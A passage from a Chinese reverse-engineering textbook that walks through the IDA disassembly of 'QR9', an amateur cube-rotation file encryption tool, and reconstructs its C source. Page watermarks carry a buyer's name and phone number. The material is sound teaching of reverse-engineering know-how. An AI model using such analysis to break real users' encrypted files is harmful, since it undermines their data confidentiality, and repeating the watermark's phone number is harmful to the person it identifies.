mov esi, edx .text:005411FC mov ecx, 3 .text:00541201 cdq .text:00541202 idiv ecx .text:00541204 sub edx, 0 .text:00541207 jz short call_rotate1 .text:00541209 dec edx .text:0054120A jz short call_rotate2 .text:0054120C dec edx .text:0054120D jnz short next_character_in_password .text:0054120F test ebx, ebx .text:00541211 jle short next_character_in_password .text:00541213 mov edi, ebx .text:00541215 .text:00541215 call_rotate3: ; CODE XREF: rotate_all_with_password+6F .text:00541215 push esi .text:00541216 call rotate3 .text:0054121B add esp, 4 .text:0054121E dec edi .text:0054121F jnz short call_rotate3 异步社区会员 dearfuture(15918834820) 专享 尊重版权 758 逆向工程权威指南(下册) .text:00541221 jmp short next_character_in_password .text:00541223 .text:00541223 call_rotate2: ; CODE XREF: rotate_all_with_password+5A .text:00541223 test ebx, ebx .text:00541225 jle short next_character_in_password .text:00541227 mov edi, ebx .text:00541229 .text:00541229 loc_541229: ; CODE XREF: rotate_all_with_password+83 .text:00541229 push esi .text:0054122A call rotate2 .text:0054122F add esp, 4 .text:00541232 dec edi .text:00541233 jnz short loc_541229 .text:00541235 jmp short next_character_in_password .text:00541237 .text:00541237 call_rotate1: ; CODE XREF: rotate_all_with_password+57 .text:00541237 test ebx, ebx .text:00541239 jle short next_character_in_password .text:0054123B mov edi, ebx .text:0054123D .text:0054123D loc_54123D: ; CODE XREF: rotate_all_with_password+97 .text:0054123D push esi .text:0054123E call rotate1 .text:00541243 add esp, 4 .text:00541246 dec edi .text:00541247 jnz short loc_54123D .text:00541249 .text:00541249 next_character_in_password: ; CODE XREF: rotate_all_with_password+26 .text:00541249 ; rotate_all_with_password+2A ... .text:00541249 mov al, [ebp+1] .text:0054124C inc ebp .text:0054124D test al, al .text:0054124F jnz loop_begin .text:00541255 pop edi .text:00541256 pop esi .text:00541257 pop ebx .text:00541258 .text:00541258 exit: ; CODE XREF: rotate_all_with_password+A .text:00541258 pop ebp .text:00541259 retn .text:00541259 rotate_all_with_password endp .text:00541259 .text:0054125A align 10h .text:00541260 .text:00541260 ; ============= S U B R O U T I N E =============== .text:00541260 .text:00541260 .text:00541260 crypt proc near ; CODE XREF: crypt_file+8A .text:00541260 .text:00541260 arg_0 = dword ptr 4 .text:00541260 arg_4 = dword ptr 8 .text:00541260 arg_8 = dword ptr 0Ch .text:00541260 .text:00541260 push ebx .text:00541261 mov ebx, [esp+4+arg_0] .text:00541265 push ebp .text:00541266 push esi .text:00541267 push edi .text:00541268 xor ebp, ebp .text:0054126A .text:0054126A loc_54126A: ; CODE XREF: crypt+41 .text:0054126A mov eax, [esp+10h+arg_8] .text:0054126E mov ecx, 10h .text:00541273 mov esi, ebx .text:00541275 mov edi, offset cube64 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 79 章 “QR9”:魔方态加密模型 759 .text:0054127A push 1 .text:0054127C push eax .text:0054127D rep movsd .text:0054127F call rotate_all_with_password .text:00541284 mov eax, [esp+18h+arg_4] .text:00541288 mov edi, ebx .text:0054128A add ebp, 40h .text:0054128D add esp, 8 .text:00541290 mov ecx, 10h .text:00541295 mov esi, offset cube64 .text:0054129A add ebx, 40h .text:0054129D cmp ebp, eax .text:0054129F rep movsd .text:005412A1 jl short loc_54126A .text:005412A3 pop edi .text:005412A4 pop esi .text:005412A5 pop ebp .text:005412A6 pop ebx .text:005412A7 retn .text:005412A7 crypt endp .text:005412A7 .text:005412A8 align 10h .text:005412B0 .text:005412B0 ; =========== S U B R O U T I N E ============ .text:005412B0 .text:005412B0 .text:005412B0 ; int __cdecl decrypt(int, int, void *Src) .text:005412B0 decrypt proc near ; CODE XREF: decrypt_file+99 .text:005412B0 .text:005412B0 arg_0 = dword ptr 4 .text:005412B0 arg_4 = dword ptr 8 .text:005412B0 Src = dword ptr 0Ch .text:005412B0 .text:005412B0 mov eax, [esp+Src] .text:005412B4 push ebx .text:005412B5 push ebp .text:005412B6 push esi .text:005412B7 push edi .text:005412B8 push eax ; Src .text:005412B9 call __strdup .text:005412BE push eax ; Str .text:005412BF mov [esp+18h+Src], eax .text:005412C3 call __strrev .text:005412C8 mov ebx, [esp+18h+arg_0] .text:005412CC add esp, 8 .text:005412CF xor ebp, ebp .text:005412D1 .text:005412D1 loc_5412D1: ; CODE XREF: decrypt+58 .text:005412D1 mov ecx, 10h .text:005412D6 mov esi, ebx .text:005412D8 mov edi, offset cube64 .text:005412DD push 3 .text:005412DF rep movsd .text:005412E1 mov ecx, [esp+14h+Src] .text:005412E5 push ecx .text:005412E6 call rotate_all_with_password .text:005412EB mov eax, [esp+18h+arg_4] .text:005412EF mov edi, ebx .text:005412F1 add ebp, 40h .text:005412F4 add esp, 8 .text:005412F7 mov ecx, 10h .text:005412FC mov esi, offset cube64 .text:00541301 add ebx, 40h .text:00541304 cmp ebp, eax .text:00541306 rep movsd .text:00541308 jl short loc_5412D1 异步社区会员 dearfuture(15918834820) 专享 尊重版权 760 逆向工程权威指南(下册) .text:0054130A mov edx, [esp+10h+Src] .text:0054130E push edx ; Memory .text:0054130F call _free .text:00541314 add esp, 4 .text:00541317 pop edi .text:00541318 pop esi .text:00541319 pop ebp .text:0054131A pop ebx .text:0054131B retn .text:0054131B decrypt endp .text:0054131B .text:0054131C align 10h .text:00541320 .text:00541320 ; ============= S U B R O U T I N E ============ .text:00541320 .text:00541320 .text:00541320 ; int __cdecl crypt_file(int Str, char *Filename, int password) .text:00541320 crypt_file proc near ; CODE XREF: _main+42 .text:00541320 .text:00541320 Str = dword ptr 4 .text:00541320 Filename = dword ptr 8 .text:00541320 password = dword ptr 0Ch .text:00541320 .text:00541320 mov eax, [esp+Str] .text:00541324 push ebp .text:00541325 push offset Mode ; "rb" .text:0054132A push eax ; Filename .text:0054132B call _fopen ; open file .text:00541330 mov ebp, eax .text:00541332 add esp, 8 .text:00541335 test ebp, ebp .text:00541337 jnz short loc_541348 .text:00541339 push offset Format ; "Cannot open input file!\n" .text:0054133E call _printf .text:00541343 add esp, 4 .text:00541346 pop ebp .text:00541347 retn .text:00541348 .text:00541348 loc_541348: ; CODE XREF: crypt_file+17 .text:00541348 push ebx .text:00541349 push esi .text:0054134A push edi .text:0054134B push 2 ; Origin .text:0054134D push 0 ; Offset .text:0054134F push ebp ; File .text:00541350 call _fseek .text:00541355 push ebp ; File .text:00541356 call _ftell ; get file size .text:0054135B push 0 ; Origin .text:0054135D push 0 ; Offset .text:0054135F push ebp ; File .text:00541360 mov [esp+2Ch+Str], eax .text:00541364 call _fseek ; rewind to start .text:00541369 mov esi, [esp+2Ch+Str] .text:0054136D and esi, 0FFFFFFC0h ; reset all lowest 6 bits .text:00541370 add esi, 40h ; align size to 64-byte border .text:00541373 push esi ; Size .text:00541374 call _malloc .text:00541379 mov ecx, esi .text:0054137B mov ebx, eax ; allocated buffer pointer -> to EBX .text:0054137D mov edx, ecx .text:0054137F xor eax, eax .text:00541381 mov edi, ebx .text:00541383 push ebp ; File .text:00541384 shr ecx, 2 .text:00541387 rep stosd 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 79 章 “QR9”:魔方态加密模型 761 .text:00541389 mov ecx, edx .text:0054138B push 1 ; Count .text:0054138D and ecx, 3 .text:00541390 rep stosb ; memset (buffer, 0, aligned_size) .text:00541392 mov eax, [esp+38h+Str] .text:00541396 push eax ; ElementSize .text:00541397 push ebx ; DstBuf .text:00541398 call _fread ; read file .text:0054139D push ebp ; File .text:0054139E call _fclose .text:005413A3 mov ecx, [esp+44h+password] .text:005413A7 push ecx ; password .text:005413A8 push esi ; aligned size .text:005413A9 push ebx ; buffer .text:005413AA call crypt ; do crypt .text:005413AF mov edx, [esp+50h+Filename] .text:005413B3 add esp, 40h .text:005413B6 push offset aWb ; "wb" .text:005413BB push edx ; Filename .text:005413BC call _fopen .text:005413C1 mov edi, eax .text:005413C3 push edi ; File .text:005413C4 push 1 ; Count .text:005413C6 push 3 ; Size .text:005413C8 push offset aQr9 ; "QR9" .text:005413CD call _fwrite ; write file signature .text:005413D2 push edi ; File .text:005413D3 push 1 ; Count .text:005413D5 lea eax, [esp+30h+Str] .text:005413D9 push 4 ; Size .text:005413DB push eax ; Str .text:005413DC call _fwrite ; write original file size .text:005413E1 push edi ; File .text:005413E2 push 1 ; Count .text:005413E4 push esi ; Size .text:005413E5 push ebx ; Str .text:005413E6 call _fwrite ; write encrypted file .text:005413EB push edi ; File .text:005413EC call _fclose .text:005413F1 push ebx ; Memory .text:005413F2 call _free .text:005413F7 add esp, 40h .text:005413FA pop edi .text:005413FB pop esi .text:005413FC pop ebx .text:005413FD pop ebp .text:005413FE retn .text:005413FE crypt_file endp .text:005413FE .text:005413FF align 10h .text:00541400 .text:00541400 ; =========== S U B R O U T I N E ============== .text:00541400 .text:00541400 .text:00541400 ; int __cdecl decrypt_file(char *Filename, int, void *Src) .text:00541400 decrypt_file proc near ; CODE XREF: _main+6E .text:00541400 .text:00541400 Filename = dword ptr 4 .text:00541400 arg_4 = dword ptr 8 .text:00541400 Src = dword ptr 0Ch .text:00541400 .text:00541400 mov eax, [esp+Filename] .text:00541404 push ebx .text:00541405 push ebp .text:00541406 push esi .text:00541407 push edi 异步社区会员 dearfuture(15918834820) 专享 尊重版权 762 逆向工程权威指南(下册) .text:00541408 push offset aRb ; "rb" .text:0054140D push eax ; Filename .text:0054140E call _fopen .text:00541413 mov esi, eax .text:00541415 add esp, 8 .text:00541418 test esi, esi .text:0054141A jnz short loc_54142E .text:0054141C push offset aCannotOpenIn_0 ; "Cannot open input file!\n" .text:00541421 call _printf .text:00541426 add esp, 4 .text:00541429 pop edi .text:0054142A pop esi .text:0054142B pop ebp .text:0054142C pop ebx .text:0054142D retn .text:0054142E .text:0054142E loc_54142E: ; CODE XREF: decrypt_file+1A .text:0054142E push 2 ; Origin .text:00541430 push 0 ; Offset .text:00541432 push esi ; File .text:00541433 call _fseek .text:00541438 push esi ; File .text:00541439 call _ftell .text:0054143E push 0 ; Origin .text:00541440 push 0 ; Offset .text:00541442 push esi ; File .text:00541443 mov ebp, eax .text:00541445 call _fseek .text:0054144A push ebp ; Size .text:0054144B call _malloc .text:00541450 push esi ; File .text:00541451 mov ebx, eax .text:00541453 push 1 ; Count .text:00541455 push ebp ; ElementSize .text:00541456 push ebx ; DstBuf .text:00541457 call _fread .text:0054145C push esi ; File .text:0054145D call _fclose .text:00541462 add esp, 34h .text:00541465 mov ecx, 3 .text:0054146A mov edi, offset aQr9_0 ; "QR9" .text:0054146F mov esi, ebx .text:00541471 xor edx, edx .text:00541473 repe cmpsb .text:00541475 jz short loc_541489 .text:00541477 push offset aFileIsNotCrypt ; "File is not encrypted!\n" .text:0054147C call _printf .text:00541481 add esp, 4 .text:00541484 pop edi .text:00541485 pop esi .text:00541486 pop ebp .text:00541487 pop ebx .text:00541488 retn .text:00541489 .text:00541489 loc_541489: ; CODE XREF: decrypt_file+75 .text:00541489 mov eax, [esp+10h+Src] .text:0054148D mov edi, [ebx+3] .text:00541490 add ebp, 0FFFFFFF9h .text:00541493 lea esi, [ebx+7] .text:00541496 push eax ; Src .text:00541497 push ebp ; int .text:00541498 push esi ; int .text:00541499 call decrypt .text:0054149E mov ecx, [esp+1Ch+arg_4] .text:005414A2 push offset aWb_0 ; "wb" .text:005414A7 push ecx ; Filename 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 79 章 “QR9”:魔方态加密模型 763 .text:005414A8 call _fopen .text:005414AD mov ebp, eax .text:005414AF push ebp ; File .text:005414B0 push 1 ; Count .text:005414B2 push edi ; Size .text:005414B3 push esi ; Str .text:005414B4 call _fwrite .text:005414B9 push ebp ; File .text:005414BA call _fclose .text:005414BF push ebx ; Memory .text:005414C0 call _free .text:005414C5 add esp, 2Ch .text:005414C8 pop edi .text:005414C9 pop esi .text:005414CA pop ebp .text:005414CB pop ebx .text:005414CC retn .text:005414CC decrypt_file endp 笔者在分析过程中逐步添加了各标签的名称。 我们从文件头开始分析。第一个函数读取两个文件名和一个密码: .text:00541320 ; int __cdecl crypt_file(int Str, char *Filename, int password) .text:00541320 crypt_file proc near .text:00541320 .text:00541320 Str = dword ptr 4 .text:00541320 Filename = dword ptr 8 .text:00541320 password = dword ptr 0Ch .text:00541320 如果不能成功打开明文文件,程序就会进行异常处理: .text:00541320 mov eax, [esp+Str] .text:00541324 push ebp .text:00541325 push offset Mode ; "rb" .text:0054132A push eax ; Filename .text:0054132B call _fopen ; open file .text:00541330 mov ebp, eax .text:00541332 add esp, 8 .text:00541335 test ebp, ebp .text:00541337 jnz short loc_541348 .text:00541339 push offset Format ; "Cannot open input file!\n" .text:0054133E call _printf .text:00541343 add esp, 4 .text:00541346 pop ebp .text:00541347 pop ebp .text:00541348 .text:00541348 loc_541348: 通过 fseek()/ftell()函数获取文件大小: .text:00541348 push ebx .text:00541349 push esi .text:0054134A push edi .text:0054134B push 2 ; Origin .text:0054134D push 0 ; Offset .text:0054134F push ebp ; File ; move current file position to the end .text:00541350 call _fseek .text:00541355 push ebp ; File .text:00541356 call _ftell ; get current file position .text:0054135B push 0 ; Origin .text:0054135D push 0 ; Offset .text:0054135F push ebp ; File .text:00541360 mov [esp+2Ch+Str], eax 异步社区会员 dearfuture(15918834820) 专享 尊重版权 764 逆向工程权威指南(下册) ; move current file position to the start .text:00541364 call _fseek 上述指令把文件大小向 64 字节边界对齐。程序所采用的加密算法只能处理 64 字节消息块。它的算法 相当直白:把文件尺寸除以 64,舍弃余数,然后把整除结果乘以 64。下述指令的“与”运算起到整除 64 并 清除余数的作用,然后加法运算指令把上述整除的商再加上 64。这组指令将使文件大小向 64 字节边界对齐。 .text:00541369 mov esi, [esp+2Ch+Str] ; reset all lowest 6 bits .text:0054136D and esi, 0FFFFFFC0h ; align size to 64-byte border .text:00541370 add esi, 40h 接下来按照上述结果分配缓冲区: .text:00541373 push esi ; Size .text:00541374 call _malloc 调用memset(),即清除缓冲区数据: ① ① 实际上 calloc()函数可替代 malloc()和 memset()两个函数。 .text:00541379 mov ecx, esi .text:0054137B mov ebx, eax ; allocated buffer pointer -> to EBX .text:0054137D mov edx, ecx .text:0054137F xor eax, eax .text:00541381 mov edi, ebx .text:00541383 push ebp ; File .text:00541384 shr ecx, 2 .text:00541387 rep stosd .text:00541389 mov ecx, edx .text:0054138B push 1 ; Count .text:0054138D and ecx, 3 .text:00541390 rep stosb ; memset (buffer, 0, aligned_size) 调用标准 C 函数 fread()读取文件: .text:00541392 mov eax, [esp+38h+Str] .text:00541396 push eax ; ElementSize .text:00541397 push ebx ; DstBuf .text:00541398 call _fread ; read file .text:0054139D push ebp ; File .text:0054139E call _fclose 调用 crypt()函数,并且向这个函数传递缓冲区、缓冲区尺寸及密码字符串: .text:005413A3 mov ecx, [esp+44h+password] .text:005413A7 push ecx ; password .text:005413A8 push esi ; aligned size .text:005413A9 push ebx ; buffer .text:005413AA call crypt ; do crypt 创建输出文件。虽然研发人员确实检测了能否成功打开文件,但是他们忘记了检测能否正确创建文件: .text:005413AF mov edx, [esp+50h+Filename] .text:005413B3 add esp, 40h .text:005413B6 push offset aWb ; "wb" .text:005413BB push edx ; Filename .text:005413BC call _fopen .text:005413C1 mov edi, eax 新建文件的句柄(handle)存储在 EDI 寄存器里。然后写上签名“QR9”: .text:005413C3 push edi ; File .text:005413C4 push 1 ; Count 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 79 章 “QR9”:魔方态加密模型 765 .text:005413C6 push 3 ; Size .text:005413C8 push offset aQr9 ; "QR9" .text:005413CD call _fwrite ; write file signature 标注原始文件的实际大小(未经数据对齐处理的原始值): .text:005413D2 push edi ; File .text:005413D3 push 1 ; Count .text:005413D5 lea eax, [esp+30h+Str] .text:005413D9 push 4 ;Size .text:005413DB push eax ; Str .text:005413DC call _fwrite ; write original file size 写入密文的缓冲区: .text:005413E1 push edi ; File .text:005413E2 push 1 ; Count .text:005413E4 push esi ; Size .text:005413E5 push ebx ; Str .text:005413E6 call _fwrite ; write encrypted file 关闭文件、释放缓冲区: .text:005413EB push edi ; File .text:005413EC call _fclose .text:005413F1 push ebx ; Memory .text:005413F2 call _free .text:005413F7 add esp, 40h .text:005413FA pop edi .text:005413FB pop esi .text:005413FC pop ebx .text:005413FD pop ebp .text:005413FE retn .text:005413FE crypt_file endp 通过上面的分析,我们可整理出源代码如下: void crypt_file(char *fin, char* fout, char *pw) { FILE *f; int flen, flen_aligned; BYTE *buf; f=fopen(fin, "rb"); if (f==NULL) { printf ("Cannot open input file!\n"); return; }; fseek (f, 0, SEEK_END); flen=ftell (f); fseek (f, 0, SEEK_SET); flen_aligned=(flen&0xFFFFFFC0)+0x40; buf=(BYTE*)malloc (flen_aligned); memset (buf, 0, flen_aligned); fread (buf, flen, 1, f); fclose (f); crypt (buf, flen_aligned, pw); f=fopen(fout, "wb"); 异步社区会员 dearfuture(15918834820) 专享 尊重版权 766 逆向工程权威指南(下册) fwrite ("QR9", 3, 1, f); fwrite (&flen, 4, 1, f); fwrite (buf, flen_aligned, 1, f); fclose (f); free (buf); }; 解密过程几乎如出一辙: .text:00541400 ; int __cdecl decrypt_file(char *Filename, int, void *Src) .text:00541400 decrypt_file proc near .text:00541400 .text:00541400 Filename = dword ptr 4 .text:00541400 arg_4 = dword ptr 8 .text:00541400 Src = dword ptr 0Ch .text:00541400 .text:00541400 mov eax, [esp+Filename] .text:00541404 push ebx .text:00541405 push ebp .text:00541406 push esi .text:00541407 push edi .text:00541408 push offset aRb ; "rb" .text:0054140D push eax ; Filename .text:0054140E call _fopen .text:00541413 mov esi, eax .text:00541415 add esp, 8 .text:00541418 test esi, esi .text:0054141A jnz short loc_54142E .text:0054141C push offset aCannotOpenIn_0 ; "Cannot open input file!\n" .text:00541421 call _printf .text:00541426 add esp, 4 .text:00541429 pop edi .text:0054142A pop esi .text:0054142B pop ebp .text:0054142C pop ebx .text:0054142D retn .text:0054142E .text:0054142E loc_54142E: .text:0054142E push 2 ; Origin .text:00541430 push 0 ; Offset .text:00541432 push esi ; File .text:00541433 call _fseek .text:00541438 push esi ; File .text:00541439 call _ftell .text:0054143E push 0 ; Origin .text:00541440 push 0 ; Offset .text:00541442 push esi ; File .text:00541443 mov ebp, eax .text:00541445 call _fseek .text:0054144A push ebp ; Size .text:0054144B call _malloc .text:00541450 push esi ; File .text:00541451 mov ebx, eax .text:00541453 push 1 ; Count .text:00541455 push ebp ; ElementSize .text:00541456 push ebx ; DstBuf .text:00541457 call _fread .text:0054145C push esi ; File .text:0054145D call _fclose 检测前三个字节的程序签名: .text:00541462 add esp, 34h 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 79 章 “QR9”:魔方态加密模型 767 .text:00541465 mov ecx, 3 .text:0054146A mov edi, offset aQr9_0 ; "QR9" .text:0054146F mov esi, ebx .text:00541471 xor edx, edx .text:00541473 repe cmpsb .text:00541475 jz short loc_541489 如果签名有误,则进行错误提示: .text:00541477 push offset aFileIsNotCrypt ; "File is not encrypted!\n" .text:0054147C call _printf .text:00541481 add esp, 4 .text:00541484 pop edi .text:00541485 pop esi .text:00541486 pop ebp .text:00541487 pop ebx .text:00541488 retn .text:00541489 .text:00541489 loc_541489: 调用 decrypt()函数: .text:00541489 mov eax, [esp+10h+Src] .text:0054148D mov edi, [ebx+3] .text:00541490 add ebp, 0FFFFFFF9h .text:00541493 lea esi, [ebx+7] .text:00541496 push eax ; Src .text:00541497 push ebp ; int .text:00541498 push esi ; int .text:00541499 call decrypt .text:0054149E mov ecx, [esp+1Ch+arg_4] .text:005414A2 push offset aWb_0 ; "wb" .text:005414A7 push ecx ; Filename .text:005414A8 call _fopen .text:005414AD mov ebp, eax .text:005414AF push ebp ; File .text:005414B0 push 1 ; Count .text:005414B2 push edi ; Size .text:005414B3 push esi ; Str .text:005414B4 call _fwrite .text:005414B9 push ebp ; File .text:005414BA call _fclose .text:005414BF push ebx ; Memory .text:005414C0 call _free .text:005414C5 add esp, 2Ch .text:005414C8 pop edi .text:005414C9 pop esi .text:005414CA pop ebp .text:005414CB pop ebx .text:005414CC retn .text:005414CC decrypt_file endp 通过上面的分析,我们可整理出 decrypt_file()的源代码如下: void decrypt_file(char *fin, char* fout, char *pw) { FILE *f; int real_flen, flen; BYTE *buf; f=fopen(fin, "rb"); if (f==NULL) { printf ("Cannot open input file!\n"); return; }; 异步社区会员 dearfuture(15918834820) 专享 尊重版权 768 逆向工程权威指南(下册) fseek (f, 0, SEEK_END); flen=ftell (f); fseek (f, 0, SEEK_SET); buf=(BYTE*)malloc (flen); fread (buf, flen, 1, f); fclose (f); if (memcmp (buf, "QR9", 3)!=0) { printf ("File is not encrypted!\n"); return; }; memcpy (&real_flen, buf+3, 4); decrypt (buf+(3+4), flen-(3+4), pw); f=fopen(fout, "wb"); fwrite (buf+(3+4), real_flen, 1, f); fclose (f); free (buf); }; 接下来,我们深入研究 crypt()函数: .text:00541260 crypt proc near .text:00541260 .text:00541260 arg_0 = dword ptr 4 .text:00541260 arg_4 = dword ptr 8 .text:00541260 arg_8 = dword ptr 0Ch .text:00541260 .text:00541260 push ebx .text:00541261 mov ebx, [esp+4+arg_0] .text:00541265 push ebp .text:00541266 push esi .text:00541267 push edi .text:00541268 xor ebp, ebp .text:0054126A .text:0054126A loc_54126A: 这段指令从输入缓冲区中读取部分数据(即消息块),把它传递到内部数组。为了方便讨论,笔者把内 部数组叫作“cube64”。信息的尺寸存储在 ECX 寄存器里。MOVSD 代表 move 32-bit dword。而 16 个 32 位 dwords 数据就是 64 个字节。 .text:0054126A mov eax, [esp+10h+arg_8] .text:0054126E mov ecx, 10h .text:00541273 mov esi, ebx ; EBX is pointer within input buffer .text:00541275 mov edi, offset cube64 .text:0054127A push 1 .text:0054127C push eax .text:0054127D rep movsd 调用 rotate_all_with_password(): .text:0054127F call rotate_all_with_password 把加密内容从 cube64 复制到缓冲区: .text:00541284 mov eax, [esp+18h+arg_4] 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 79 章 “QR9”:魔方态加密模型 769 .text:00541288 mov edi, ebx .text:0054128A add ebp, 40h .text:0054128D add esp, 8 .text:00541290 mov ecx, 10h .text:00541295 mov esi, offset cube64 .text:0054129A add ebx, 40h ; add 64 to input buffer pointer .text:0054129D cmp ebp, eax ; EBP contain amount of encrypted data. .text:0054129F rep movsd 如果 EBP 不大于传入函数的文件大小,那么继续处理下一个消息块: .text:005412A1 jl short loc_54126A .text:005412A3 pop edi .text:005412A4 pop esi .text:005412A5 pop ebp .text:005412A6 pop ebx .text:005412A7 retn .text:005412A7 crypt endp 通过上面的分析,我们可整理出 crypt()的源代码如下: void crypt (BYTE *buf, int sz, char *pw) { int i=0; do { memcpy (cube, buf+i, 8*8); rotate_all (pw, 1); memcpy (buf+i, cube, 8*8); i+=64; } while (i<sz); }; 然后我们再分析 rotate_all_with_password()函数。它有两个参数:密码字符串和数字参数。在加密 crypt()函 数里数字参数是 1,而在同样调用 rotate_all_with_password()函数的解密 decrypt()函数里,这个数字参数的值为 3。 .text:005411B0 rotate_all_with_password proc near .text:005411B0 .text:005411B0 arg_0 = dword ptr 4 .text:005411B0 arg_4 = dword ptr 8 .text:005411B0 .text:005411B0 mov eax, [esp+arg_0] .text:005411B4 push ebp .text:005411B5 mov ebp, eax 检测密码中的当前字符。如果是零字节,就退出: .text:005411B7 cmp byte ptr [eax], 0 .text:005411BA jz exit .text:005411C0 push ebx .text:005411C1 mov ebx, [esp+8+arg_4] .text:005411C5 push esi .text:005411C6 push edi .text:005411C7 .text:005411C7 loop_begin: 调用标准 C 函数 tolower(): .text:005411C7 movsx eax, byte ptr [ebp+0] .text:005411CB push eax ; C .text:005411CC call _tolower .text:005411D1 add esp, 4 这个函数会忽略(跳过)密码中的非拉丁字符。在进行程序测试的时候,加密工具确实忽略了非拉丁 字符。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 770 逆向工程权威指南(下册) .text:005411D4 cmp al, 'a' .text:005411D6 jl short next_character_in_password .text:005411D8 cmp al, 'z' .text:005411DA jg short next_character_in_password .text:005411DC movsx ecx, al 从当前字符的 ASCII 值中减去 97(即字母“a”): .text:005411DF sub ecx, 'a' ; 97 经过刚才的处理,字母 a 的值就变成了 0,b 的值为 1,z 的值为 25: .text:005411E2 cmp ecx, 24 .text:005411E5 jle short skip_subtracting .text:005411E7 sub ecx, 24 似乎“y”和“z”是特例。在执行上述指令之后,“y”变成了 0,“z”变成了 1。这也就是说,26 个 拉丁字母最终被转换为了 0~23 之间(共计 24 个)的数字。 .text:005411EA .text:005411EA skip_subtracting: ;CODE XREF: rotate_all_ with_password+35 接着,它以乘法指令实现除法运算。本书第 41 章介绍过“除以 9”的详细步骤。下面这段指令把密码 字符的值除以 3: .text:005411EA mov eax, 55555556h .text:005411EF imul ecx .text:005411F1 mov eax, edx .text:005411F3 shr eax, 1Fh .text:005411F6 add edx, eax .text:005411F8 mov eax, ecx .text:005411FA mov esi, edx .text:005411FC mov ecx, 3 .text:00541201 cdq .text:00541202 idiv ecx 除法运算的余数存储在 EDX 寄存器里: .text:00541204 sub edx, 0 .text:00541207 jz short call_rotate1 ; if remainder is zero, go to rotate1 .text:00541209 dec edx .text:0054120A jz short call_rotate2 ; .. if it is 1, go to rotate2 .text:0054120C dec edx .text:0054120D jnz short next_character_in_password .text:0054120F test ebx, ebx .text:00541211 jle short next_character_in_password .text:00541213 mov edi, ebx 如果余数为 2,那么就会调用 rotate3()。此时,EDI 寄存器存储的是 rotate_all_with_password()函数的 第二个参数。前文介绍过,在加密过程中这个值为 1,在解密过程中这个值为 3。函数进行了循环处理。在 加密时,rotate1/2/3 的调用次数与函数的第一个参数相等。 .text:00541215 call_rotate3: .text:00541215 push esi .text:00541216 call rotate3 .text:0054121B add esp, 4 .text:0054121E dec edi .text:0054121F jnz short call_rotate3 .text:00541221 jmp short next_character_in_password .text:00541223 .text:00541223 call_rotate2: .text:00541223 test ebx, ebx .text:00541225 jle short next_character_in_password .text:00541227 mov edi, ebx 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 79 章 “QR9”:魔方态加密模型 771 .text:00541229 .text:00541229 loc_541229: .text:00541229 push esi .text:0054122A call rotate2 .text:0054122F add esp, 4 .text:00541232 dec edi .text:00541233 jnz short loc_541229 .text:00541235 jmp short next_character_in_password .text:00541237 .text:00541237 call_rotate1: .text:00541237 test ebx, ebx .text:00541239 jle short next_character_in_password .text:0054123B mov edi, ebx .text:0054123D .text:0054123D loc_54123D: .text:0054123D push esi .text:0054123E call rotate1 .text:00541243 add esp, 4 .text:00541246 dec edi .text:00541247 jnz short loc_54123D .text:00541249 从密码字符串中提取第二个字符: .text:00541249 next_character_in_password: .text:00541249 mov al, [ebp+1] 密码字符串指针递增: .text:0054124C inc ebp .text:0054124D test al, al .text:0054124F jnz loop_begin .text:00541255 pop edi .text:00541256 pop esi .text:00541257 pop ebx .text:00541258 .text:00541258 exit: .text:00541258 pop ebp .text:00541259 retn .text:00541259 rotate_all_with_password endp 通过上面的分析,我们可整理出 rotate_all ()的源代码如下: void rotate_all (char *pwd, int v) { char *p=pwd; while (*p) { char c=*p; int q; c=tolower (c); if (c>='a' && c<='z') { q=c-'a'; if (q>24) q-=24; int quotient=q/3; int remainder=q % 3; switch (remainder) { case 0: for (int i=0; i<v; i++) rotate1 (quotient); break; case 1: for (int i=0; i<v; i++) rotate2 (quotient); break; 异步社区会员 dearfuture(15918834820) 专享 尊重版权 772 逆向工程权威指南(下册) case 2: for (int i=0; i<v; i++) rotate3 (quotient); break; }; }; p++; }; }; 然后我们再分析 rotate1/2/3 函数。这三个函数都会调用它们之外的两个函数。根据函数功能,笔者把 它们命名为 set_bit()和 get_bit()。 首先来分析 get_bit(): .text:00541050 get_bit proc near .text:00541050 .text:00541050 arg_0 = dword ptr 4 .text:00541050 arg_4 = dword ptr 8 .text:00541050 arg_8 = byte ptr 0Ch .text:00541050 .text:00541050 mov eax, [esp+arg_4] .text:00541054 mov ecx, [esp+arg_0] .text:00541058 mov al, cube64[eax+ecx*8] .text:0054105F mov cl, [esp+arg_8] .text:00541063 shr al, cl .text:00541065 and al, 1 .text:00541067 retn .text:00541067 get_bit endp 上述指令先计算 cube64 的数组索引“arg_4+arg0*8”,然后将数组中的单个字节向右位移 arg_8 位,隔 离最低位再返回数值。 接下来我们分析 set_bit()函数: .text:00541000 set_bit proc near .text:00541000 .text:00541000 arg_0 = dword ptr 4 .text:00541000 arg_4 = dword ptr 8 .text:00541000 arg_8 = dword ptr 0Ch .text:00541000 arg_C = byte ptr 10h .text:00541000 .text:00541000 mov al, [esp+arg_C] .text:00541004 mov ecx, [esp+arg_8] .text:00541008 push esi .text:00541009 mov esi, [esp+4+arg_0] .text:0054100D test al, al .text:0054100F mov eax, [esp+4+arg_4] .text:00541013 mov dl, 1 .text:00541015 jz short loc_54102B DL 寄存器的值目前为 1。函数将其左移 arg_8 位。例如,如果 arg_8 是 4,那么 DL 寄存器的值将变为 0x10,即二进制的 1000b。 .text:00541017 shl dl, cl .text:00541019 mov cl, cube64[eax+esi*8] 从数组中提取 1 个位,然后进行设置: .text:00541020 or cl, dl 存储运算结果: .text:00541022 mov cube64[eax+esi*8], cl .text:00541029 pop esi .text:0054102A retn .text:0054102B .text:0054102B loc_54102B: .text:0054102B shl dl, cl 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 79 章 “QR9”:魔方态加密模型 773 如果 arg_C 的值不是 0: .text:0054102D mov cl, cube64[eax+esi*8] 对 DL 的值求“非”。例如,如果前一步位移使 DL 为 0x10(即二进制的 1000b),在进行非运算之后, 它的值将变为 0xEF(即二进制的 11101111b)。 .text:00541034 not dl 下述指令将过滤相关位。如果 DL 寄存器的某个位是 1,那么它会保留 CL 寄存器的对应位;否则将把 CL 寄存器的相关位设置为 0。如果刚才 DL 的值不变,还是 